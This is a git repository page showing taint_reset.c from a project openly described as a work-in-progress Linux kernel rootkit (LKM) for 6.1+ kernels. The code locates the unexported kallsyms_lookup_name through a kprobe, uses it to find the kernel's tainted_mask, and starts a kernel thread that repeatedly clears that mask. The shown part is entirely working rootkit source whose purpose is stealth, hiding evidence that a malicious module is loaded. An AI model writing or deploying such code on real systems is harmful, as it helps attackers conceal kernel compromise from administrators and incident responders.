mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
taint_reset.c (1063B)
      1 #include <linux/delay.h>
      2 #include <linux/fs.h>
      3 #include <linux/init.h>
      4 #include <linux/kernel.h>
      5 #include <linux/kprobes.h>
      6 #include <linux/kthread.h>
      7 #include <linux/module.h>
      8 #include <linux/slab.h>
      9 #include <linux/version.h>
     10 
     11 #include "../includes/mina.h"
     12 
     13 unsigned long *get_taint_mask_address(void) {
     14     typedef unsigned long (*lookup_name_fn)(const char *name);
     15 
     16     /* symbol is not exported in modern kernels, so we use a kprobe to get the function address */
     17     struct kprobe probe_lookup = {
     18         .symbol_name = "kallsyms_lookup_name",
     19     };
     20 
     21     if (register_kprobe(&probe_lookup) < 0) {
     22         printk(KERN_ERR "Failed to register kprobe.\n");
     23         return NULL;
     24     }
     25 
     26     lookup_name_fn kallsyms_lookup_fn = (lookup_name_fn)probe_lookup.addr;
     27     unregister_kprobe(&probe_lookup);
     28 
     29     return (kallsyms_lookup_fn) ? (unsigned long *)kallsyms_lookup_fn("tainted_mask") : NULL;
     30 }
     31 
     32 int zerotaint_thread(void *data) {
     33     while (!kthread_should_stop()) {
     34         reset_taint_mask();
     35         ssleep(TAINT_RESET_SLEEP_TIME);
     36     }
     37     return 0;
     38 }